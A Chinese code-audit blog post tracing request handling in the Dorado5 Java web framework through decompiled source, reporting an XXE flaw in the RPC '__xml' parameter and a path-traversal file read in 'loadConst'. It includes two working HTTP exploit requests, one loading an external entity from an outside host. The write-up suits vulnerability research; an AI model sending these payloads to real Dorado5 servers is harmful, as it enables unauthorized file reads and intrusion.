代码审计系列之Dorado5开发框架
jkgh006 漏洞分析 18204浏览 · 2018-03-07 01:38

Author:jkgh006

Dorado5简介

锐道DORADO集成开发平台软件 V5.0(简称Dorado5 IDE)产品是与锐道DORADO展现中间件软件V5.0(简称DORADO5)产品配套的集成开发平台,进一步升编程效率与团队开发规范性。简言之,Dorado5 IDE是Dorado5的配套开发工具。
Dorado5 IDE支持控件属性设定、提供JavaScript事件编辑器、国际化资源文件编辑器、工程向导等。
Dorado5 IDE采用Eclipse Plug-in技术,以插件形式与Eclipse开发环境融为一体.

参考链接:http://wiki.bsdn.org/pages/viewpage.action?pageId=984613

客户案例:http://www.bstek.com/about/case

框架流程分析

首先看web.xml

<web-app>
  <filter>
    <filter-name>doradofilter</filter-name>
    <filter-class>com.bstek.dorado.core.DoradoFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>doradofilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
</web-app>

分析DoradoFilter.class:

public void init(FilterConfig filterConfig) throws ServletException {
        this.initSystemProperties();

        try {
            if (this.concreteFilter == null) {
                String ex = filterConfig.getInitParameter("impl");
                Class cl = CacheUtils.getClass(StringUtils.defaultString(ex,
                        "com.bstek.dorado.core.FilterHandle"));
                Object o = cl.newInstance();
                this.concreteFilter = (Filter) o;
            }

            this.concreteFilter.init(filterConfig);
        } catch (IllegalAccessException arg4) {
            arg4.printStackTrace();
        } catch (InstantiationException arg5) {
            arg5.printStackTrace();
        }

    }

初始化了com.bstek.dorado.core.FilterHandle,并且进行了new操作

public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain filterChain) throws ServletException, IOException {
        this.concreteFilter.doFilter(request, response, filterChain);
    }

根据filter的 链式效果将会调用FilterHandle的dofilter操作:

public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain filterChain) throws ServletException {
        try {
            HttpServletRequest ex = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            boolean isRPC = false;
            boolean fromAgent = false;
            String qs = ex.getQueryString();
            if (qs != null) {
                if (qs.endsWith("!$$")) {
                    ResponseCache rpcInfo1 = this.getResponseCache(qs);
                    if (rpcInfo1 != null) {
                        rpcInfo1.restoreResponse(ex, resp);
                    } else {
                        PrintWriter out = new PrintWriter(
                                this.getResponseOutputStream(ex, resp));
                        out.write("Page Timeout!");
                        out.flush();
                        out.close();
                        resp.flushBuffer();
                    }

                    return;
                }

                FilterHandlerRPCInfo rpcInfo = this.parseQueryString(qs);
                isRPC = rpcInfo.isRPC();
                fromAgent = rpcInfo.isFromAgent();
            }

            if (isRPC) {
                isRPC = !VariantHelper.parseBoolean(ex
                        .getAttribute("com.bstek.dorado.view.rpc.processed"));
            }

            DoradoContext.registerContext(HttpContextFactory
                    .getContext(request));

            try {
                if (isRPC) {
                    if (fromAgent) {
                        this.doAgentRPCFilter(filterChain, ex, resp);
                    } else {
                        this.doRPCFilter(filterChain, ex, resp);
                    }
                } else {
                    this.internalDoFilter(filterChain, ex, resp);
                }
            } finally {
                TransactionManager.disposeTransaction();
                if (Setting.getBoolean("fixBug_100925")) {
                    DoradoContext.unregisterContext();
                }

            }

        } catch (RuntimeException arg16) {
            throw arg16;
        } catch (ServletException arg17) {
            throw arg17;
        } catch (Throwable arg18) {
            throw new ServletException(arg18);
        }
    }

这里有两个地方可以分析:

  1. FilterHandlerRPCInfo rpcInfo =parseQueryString(qs);
  2. isRPC = rpcInfo.isRPC();fromAgent = rpcInfo.isFromAgent();
private FilterHandlerRPCInfo parseQueryString(String queryString) {
        FilterHandlerRPCInfo rpcInfo = new FilterHandlerRPCInfo();
        String[] params = StringUtils.split(queryString, '&');

        for (int i = 0; i < params.length; ++i) {
            String param = params[i];
            if (param != null) {
                int ei = param.indexOf(61);
                if (ei > 0) {
                    String name = param.substring(0, ei);
                    String value;
                    if ("__rpc".equals(name)) {
                        value = param.substring(ei + 1);
                        this.validateParameterCharacters(value);
                        rpcInfo.setRPC(VariantHelper.parseBoolean(value));
                    } else if ("__rpcAgent".equals(name)) {
                        value = param.substring(ei + 1);
                        this.validateParameterCharacters(value);
                        rpcInfo.setFromAgent(VariantHelper.parseBoolean(value));
                    }
                }
            }
        }

        return rpcInfo;
    }

如果我们的url是:smartweb2.RPC.d?__rpc=true 这里isRPC返回的就是ture

try {
                if (isRPC) {
                    if (fromAgent) {
                        this.doAgentRPCFilter(filterChain, ex, resp);
                    } else {
                        this.doRPCFilter(filterChain, ex, resp);
                    }
                } else {
                    this.internalDoFilter(filterChain, ex, resp);
                }
            } finally {

继续跟进一下doRPCFilter函数

private void doRPCFilter(FilterChain filterChain, HttpServletRequest req,
            HttpServletResponse resp) throws Throwable {
        String qs = this.genNewQS();
        RPCHandler handler = RPCHelper.getHandler(req);
        ResponseCache responseCache = new ResponseCache();

        try {
            handler.init(req);
            DoradoBufferedResponse ex = new DoradoBufferedResponse(resp,
                    responseCache);
            this.internalDoFilter(filterChain, req, ex);
            if (!handler.isExecuted()) {
                handler.execute();
            }

            ex.flushBuffer();
        } catch (Throwable arg14) {
            if (arg14 instanceof ServletException) {
                handler.setError(((ServletException) arg14).getRootCause());
            } else {
                handler.setError(arg14);
            }

            this.processException(arg14);
        } finally {
            DoradoContext.registerContext(HttpContextFactory.getContext(req));
            handler.endCalling(qs);
            String contentType = "text/xml";
            resp.setContentType("text/xml");
            PrintWriter out = new PrintWriter(this.getResponseOutputStream(req,
                    resp));
            Outputter xmlOutputter = OutputHelper.getOutputter(
                    handler.getClass(), "smartweb2");
            xmlOutputter.outputStartSection(out, handler, req);
            xmlOutputter.outputEndSection(out, handler, req);
            out.flush();
            out.close();
            resp.flushBuffer();
            if (responseCache.commitResponse()
                    && !NoForwardController.isNoForward(req)) {
                this.storeResponseCache(responseCache, qs);
            }

            RPCHelper.disposeHandler(req);
            if (Setting.getBoolean("fixBug_100925")) {
                DoradoContext.unregisterContext();
            }

        }

    }

这个函数总体逻辑分为三个

  1. RPCHandler handler = RPCHelper.getHandler(req); 获取对应的处理器
  2. handler.init(req); 初始化请求的上下文以及参数
  3. handler.execute(); 执行对应的action操作
public static RPCHandler getHandler(HttpServletRequest request)
            throws Exception {
        RPCHandler handler = (RPCHandler) request
                .getAttribute("com.bstek.dorado.view.rpc.RPCHandler");
        if (handler == null) {
            String type = request.getParameter("__type");
            handler = createHandler(type);
            request.setAttribute("com.bstek.dorado.view.rpc.RPCHandler",
                    handler);
        }

        return handler;
    }

这时候参数_type 就很重要的决定了handler的角色,如果我们传递的是__type=updateData,那么我们的处理类就是

private static RPCHandler createHandler(String type) throws Exception {
        RPCHandler handler;
        if ("updateData".equalsIgnoreCase(type)) {
            handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
                    "view.updateDataRPCHandler",
                    UpdateDataRPCHandler.class.getName()));
        } else if ("loadData".equalsIgnoreCase(type)) {
            handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
                    "view.loadDataRPCHandler",
                    LoadDataRPCHandler.class.getName()));
        } else {
            handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
                    "view.baseRPCHandler", BaseRPCHandler.class.getName()));
        }

        return handler;
    }

回头再分析一下那个初始化方法

跟进分析UpdateDataRPCHandler这个类

public void init(HttpServletRequest request) throws Exception {
        super.init(request);
        XmlDocument xmlDocument = this.getXmlDocument();
        XmlNode rootNode = xmlDocument.getRootNode();
        this.transactionMode = rootNode.getAttributeInt("transaction", 10);
        this.reduceReturnInfo = rootNode.getAttributeBoolean("rri");
        this.batch = UpdateBatchParser.parse(xmlDocument);
        this.parameters().assign(this.batch.parameters());
        ViewModel viewModel = this.getViewModel();
        this.applyUpdateBatch(viewModel, this.batch);
    }

调用父类BaseRPCHandler的init

public void init(HttpServletRequest request) throws Exception {
        super.init(request);
        XmlDocument xmlDocument = this.getXmlDocument();
        XmlNode rootNode = xmlDocument.getRootNode();
        this.method = rootNode.getAttributeString("method");
    }

继续调用父类AbstractRPCHandler的init

public void init(HttpServletRequest request) throws Exception {
        this.requestRef = new WeakReference(request);
        request.setAttribute("com.bstek.dorado.view.rpc.processed",
                new Boolean(true));
        String xml = request.getParameter("__xml");
        String viewInstanceId = request.getParameter("__viewInstanceId");
        ViewModelCacheInfo info = ViewModelManager
                .getViewModelInfo(viewInstanceId);
        this.viewModel = this.getViewModel(info);
        XmlBuilder builder = XmlFactory.createXmlBuilder();
        this.xmlDocument = builder.buildDocument("<?xml version=\"1.0\"?>"
                + xml);
        ParameterSet parameters = this.parameters();
        XmlNode[] paramNodes = null;
        XmlNode paramsNode = this.xmlDocument.getRootNode().getChild("ps");
        if (paramsNode != null) {
            paramNodes = paramsNode.getChildren();
        }

        if (paramNodes != null) {
            for (int properties = 0; properties < paramNodes.length; ++properties) {
                XmlNode propNodes = paramNodes[properties];
                String propsNode = propNodes.getAttribute("name");
                String i = propNodes.getAttribute("type");
                String propNode = propNodes.getContent();
                if (StringHelper.isNotEmpty(i)) {
                    parameters.setDataType(propsNode, Integer.parseInt(i));
                }

                parameters.setString(propsNode, EscapeUtils.unescape(propNode));
                if (StringHelper.isEmpty(i)) {
                    parameters.setDataType(propsNode, 0);
                }
            }
        }

        MetaData arg16 = this.viewModel.properties();
        XmlNode[] arg17 = null;
        XmlNode arg18 = this.xmlDocument.getRootNode().getChild("vps");

看到了吧这里进行了参数处理,其中xml参数直接进入到builder.buildDocument,前后没有禁用实体的标志所以存在xxe

POST /sample/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://localhost:8080/sample/hello_world.jsp
Content-Length: 756
Cookie: JSESSIONID=DA072739F42DD38394A94217857CD063; UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 58.216.50.51
Connection: close

__type=updateData&__viewInstanceId=helloWorld~com.bstek.dorado.view.impl.DynaViewModel&__xml=<!DOxCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//xxe.boomeye.com/index.html">%25remote%3b]><rpc+transaction%3d"10"><def><dataset+type%3d"wrapper"+id%3d"datasetEmployee"><f+name%3d"employee_id"></f><f+name%3d"dept_id"></f><f+name%3d"employee_name"></f><f+name%3d"sex"+type%3d"9"></f><f+name%3d"birthday"+type%3d"10"></f><f+name%3d"married"+type%3d"9"></f><f+name%3d"salary"+type%3d"7"></f><f+name%3d"degree"></f><f+name%3d"email"></f><f+name%3d"web"></f><f+name%3d"cmnt"></f><f+name%3d"image"></f></dataset></def><data><rs+dataset%3d"datasetEmployee"><r+id%3d"10138"+state%3d"insert"><n><v>2222</v><v>1111</v><v>111</v></n></r></rs></data></rpc>&1507876215851

整个框架的加载流程已经分析完成

任意文件读取

<servlet>
    <servlet-name>doradoservlet</servlet-name>
    <servlet-class>com.bstek.dorado.core.DoradoServlet</servlet-class>
    <load-on-startup>2</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>doradoservlet</servlet-name>
    <url-pattern>*.d</url-pattern>
  </servlet-mapping>
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            ActionHandler.invokeAction(request, response);
        } catch (RuntimeException ex) {
            throw ex;
        } catch (ServletException ex) {
            throw ex;
        } catch (Throwable ex) {
            throw new ServletException(ex);
        }
}

public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
        doGet(request, response);
}

这里可以看出来是个基础的HttpServlet类

public static void invokeAction(HttpServletRequest request,
            HttpServletResponse response) throws Throwable {
        String controllerName = "";
        String actionName = "";
        String extName = null;
        String s = request.getServletPath();
        int lastDot = s.lastIndexOf(".");
        if (lastDot >= 0) {
            extName = s.substring(lastDot + 1);
            s = s.substring(0, lastDot);

            lastDot = s.lastIndexOf(".");
            if (lastDot >= 0) {
                controllerName = s.substring(0, lastDot);
                actionName = s.substring(lastDot + 1);
            } else {
                controllerName = s;
            }

        }

        if ((extName != null) && ("jsp".equals(extName))) {
            return;
        }

        invokeAction(request, response, controllerName, actionName);
    }

    private static void invokeAction(HttpServletRequest request,
            HttpServletResponse response, String controllerName,
            String actionName) throws Throwable {
        Controller controller = null;
        try {
            controller = ControllerManager.getController(request,
                    controllerName);

            controller.invokeAction(actionName, request, response);
        } catch (Throwable ex) {
            if (getExceptionHandler().processGlobalException(ex, request,
                    response))
                return;
            throw ex;
        }
    }
}

继续跟进 关键位置我们看类(ControllerManager)的 getController方法

public static Controller getController(HttpServletRequest request,
            String name) throws Throwable {
        return getControllerFactory().createController(request, name);
    }

继续跟进:

public Controller createController(HttpServletRequest request, String name)
            throws Throwable {
        Mapping mapping = Mapping.getInstance();
        ControllerConfig config = mapping.findController(name);
        if (config != null) {
            return createController(request, config);
        }
        if ("/TellMeSomethingAboutDorado".equals(name)) {
            Class cl = CacheUtils
                    .getClass("com.bstek.dorado.view.smartweb.v2.output.TranslatorOutputter");

            Controller controller = (Controller) cl.newInstance();
            controller.setName(name);
            controller.setConfig(new ControllerConfig(name));
            return controller;
        }
        if ("/TellMeWhoCreatedDorado".equals(name)) {
            Class cl = CacheUtils
                    .getClass("com.bstek.dorado.view.smartweb.v2.output.EncoderOutputter");

            Controller controller = (Controller) cl.newInstance();
            controller.setName(name);
            controller.setConfig(new ControllerConfig(name));
            return controller;
        }
        throw new ControllerNotFoundException(name);
    }

重点分析一下这一句Mapping mapping = Mapping.getInstance()

初始化了所有的映射关系:

public static void init() throws xmlParseException, FileNotFoundException,
            IOException {
        try {
            Mapping mapping = new Mapping();

            FileLoader loader = FileLoaderFactory.createConfigLoader();
            String path = "mapping/global.map.xml";

            Console.println("Loading \"" + path + "\"...");
            loader.setFile(path);

            InputStream gin = loader.getInputStream();
            GlobalUnit gunit;
            try {
                gunit = UnitParser.parseGlobalUnit(mapping, "global", gin);
            } finally {
                gin.close();
            }
            mapping.addUnit(gunit);
            mapping.setGlobalUnit(gunit);

            int fileCount = gunit.getSubFileCount();
            for (int i = 0; i < fileCount; ++i) {
                String unitname = gunit.getSubFile(i);
                path = "mapping/" + unitname + ".map.xml";
                Console.println("Loading \"" + path + "\"...");
                loader.setFile(path);

                InputStream sin = loader.getInputStream();
                SubUnit unit;
                try {
                    unit = UnitParser.parseSubUnit(mapping, unitname, sin);
                } finally {
                    sin.close();
                }
                mapping.addUnit(unit);
            }

            instance = mapping;
        } catch (LoadxmlPropertyException ex) {
            Log.warn(ex);
        }
    }

这时候我们加载了本地里面的两个配置文件global.map.xml和 dorado.map.xml

传递进来的是怎么样个解析,举例子,如果我们传递的是:

http://localhost:8080/sample/dorado/smartweb2.loadConst.d?language=zh&country=CN

那么smartweb2 其实就是 name,然而loadConst就是说你在这个控制器里面的doloadConst方法

那么肯定在xml里面会有smartweb2这个映射

dorado.map.xml:

<controller name="smartweb2" clazz="com.bstek.dorado.view.smartweb.v2.ViewServiceController">
            <action name="showRPCLoadingTip" />
            <action name="showRPCSubmitter" />
            <action name="RPC" />
            <action name="noForward" />
            <action name="showDynamicDropDown">
                <forward name="success" path="/WEB-INF/dynamic-dropdown2.jsp" contextRelative="false" />
            </action>
        </controller>

直接跟进这个类

private Controller createController(HttpServletRequest request,
            ControllerConfig config) throws Throwable {
        Controller controller = createController(config);
        DoradoContext context = HttpContextFactory.getContext(request);
        ScopeHelper.storeobject(context, config.getScope(),
                "com.bstek.dorado.action.Controller." + config.getName(),
                controller);

        return controller;
    }

实际上返回的类为:com.bstek.dorado.view.smartweb.v2.ViewServiceController

分析一下controller.invokeAction(actionName,request, response)

public void invokeAction(String actionName, HttpServletRequest request,
            HttpServletResponse response) throws Throwable {
        internalDispatch(actionName, request, response);
    }
private void internalDispatch(String actionName,
            HttpServletRequest request, HttpServletResponse response)
            throws Throwable {
        Action action = getAction(actionName, request, response);
        try {
            try {
                internalDispatch(action, request, response);
            } catch (NoSuchMethodException ex) {
                String nextActionName = request.getParameter("do");
                if (StringHelper.isNotEmpty(nextActionName)) {
                    action = getAction(nextActionName, request, response);
                    internalDispatch(action, request, response);
                }
            } catch (UnsupportedOperationException ex) {
                if (StringHelper.isEmpty(actionName)) {
                    String nextActionName = request.getParameter("do");
                    if (StringHelper.isNotEmpty(nextActionName)) {
                        action = getAction(nextActionName, request, response);
                        internalDispatch(action, request, response);
                    }
                }
            }

再继续就不往下分析了,意思就是拿出来刚才控制器里面的方法

框架的流程分析就到这里,直接看业务层,查看ViewServiceController:

public ActionForward doLoadConst(Action action, HttpServletRequest request,
            HttpServletResponse response) throws Throwable {
        Locale local = LocaleHelper.getLocale(request.getParameter("language"),
                request.getParameter("country"));

        byte[] ba = getConstByteArray(local);
        ByteArrayInputStream in = new ByteArrayInputStream(ba);
        try {
            responseByteArray(request, response, in, TIMESTAMP,
                    "application/octet-stream", "const.js");
        } finally {
            in.close();
        }
        return null;
    }
public static Locale getLocale(String language, String country) {
        String key = language + '_' + country;
        Locale locale = (Locale) localeMap.get(key);
        if (locale == null) {
            locale = new Locale(language, country);
            localeMap.put(key, locale);
        }
        return locale;
    }

继续跟进:这时候locale应该是个null 如果url后面的country被构造以后

直接看byte[] ba = getConstByteArray(local); 关键的流程点

private byte[] getConstByteArray(Locale local) throws IOException {
        byte[] ba = (byte[]) (byte[]) constMap.get(local);
        if (ba == null) {
            ResourceBundle bundle = ResourceManager.getInstance().getBundle(
                    "smartweb/v2/client", local);

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            OutputStreamWriter writer = new OutputStreamWriter(baos);
            Enumeration keys = bundle.getKeys();
            while (keys.hasMoreElements()) {
                String key = (String) keys.nextElement();
                String value = bundle.getString(key);
                value = javascriptHelper.escapejavascript(value);

                writer.write("var " + key + "=\"");
                writer.write(value + "\";\n");
            }
            writer.close();

            ba = baos.toByteArray();
            constMap.put(local, ba);
        }
        return ba;
    }

继续跟进这个里面的函数:

public ResourceBundle getBundle(String baseName, Locale locale) {
        MultiKey multikey = new MultiKey(baseName, locale);
        ResourceBundle bundle = null;
        try {
            if (this.cache != null) {
                FileCacheWrapper wrapper = (FileCacheWrapper) this.cache
                        .getCachedValue(multikey);
                if (wrapper != null) {
                    if (!(wrapper.isOvertime()))
                        bundle = (ResourceBundle) wrapper.getobject();
                    else {
                        this.cache.removeElement(multikey);
                    }
                }

                if (bundle == null) {
                    wrapper = createBundle(multikey);
                    bundle = (ResourceBundle) wrapper.getobject();

                    ElementWrapper element = this.cache.createElementWrapper(
                            multikey, wrapper);

                    this.cache.putElement(element);

跟进createBundle这个函数:

private FileCacheWrapper createBundle(MultiKey multikey) throws Exception {
        FileCacheWrapper wrapper = null;

        object[] keys = multikey.getKeys();
        String baseName = (String) keys[0];
        Locale locale = (Locale) keys[1];

        FileLoader loader = FileLoaderFactory.createConfigLoader();

        StringBuffer path = new StringBuffer();
        path.append("i18n");
        path.append("/" + baseName + "_" + locale.getLanguage() + "_"
                + locale.getCountry() + ".properties");

        loader.setFile(path.toString());
        if (!(loader.exists())) {
            path = new StringBuffer();
            path.append("i18n");
            path.append("/" + baseName + ".properties");
            loader.setFile(path.toString());
        }

        InputStream in = loader.getInputStream();
        try {
            ResourceBundle bundle = new PropertyResourceBundle(in);
            wrapper = new FileCacheWrapper();
            wrapper.setobject(bundle);
            wrapper.setFileLoader(loader);
            wrapper.setTimeout(Setting.getLong("i18n.cache.timeout"));
            wrapper.setMinCheckInterval(Setting
                    .getLong("i18n.cache.minCheckInterval"));
        } finally {
            in.close();
        }
        return wrapper;
    }

这里有个

public void setFile(String filepath) {
this.filepath = filepath;
doSetFile(filepath);
}

里面进行了路径的拼接,然后剩下的就是一个普通的文件读取操作

直接构造请求:

GET /sample/dorado/smartweb2.loadConst.d?language=zh&country=CN/../../../../../../../../../../../../../../aaacasdsd.txt%00 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
0 条评论
某人
表情
可输入 255